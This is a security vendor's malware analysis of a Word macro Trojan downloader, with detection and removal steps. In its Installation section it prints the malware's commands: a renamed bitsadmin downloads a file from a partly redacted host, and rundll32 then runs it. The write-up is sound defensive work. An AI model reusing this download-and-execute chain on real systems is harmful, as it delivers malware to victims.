Analysis by: Jemimah Mae Molina
ALIASES:

TrojanDownloader:O97M/Powdow.ARJ!MT (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 93,488 bytes
File Type: DOCX
Memory Resident: No
Initial Samples Received Date: 16 Mar 2020
Payload: Connects to URLs/IPs, Downloads files, Displays message/message boxes

Installation

This Trojan adds the following processes:

  • c:\windows\temp\curl.com /transfer jobname http://{BLOCKED}tdriold.com/f64bj/jtrhs.php?l=ghs2.cab c:\windows\temp\12345.dll
  • rundll32 c:\windows\temp\12345.dll,DllRegisterServer

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}tdriold.com/f64bj/jtrhs.php?l=ghs2.cab

It saves the files it downloads using the following names:

  • c:\windows\temp\12345.dll

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It copies c:\windows\system32\bitsadmin.exe as c:\windows\temp\curl.com.
  • The document contains the following message details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.748.02
FIRST VSAPI PATTERN DATE: 17 Mar 2020
VSAPI OPR PATTERN File: 15.749.00
VSAPI OPR PATTERN Date: 18 Mar 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Downloader.VBA.TRX.XXVBAF01FF007

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • c:\windows\temp\curl.com
  • c:\windows\temp\12345.dll

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.BITSLODR.AD. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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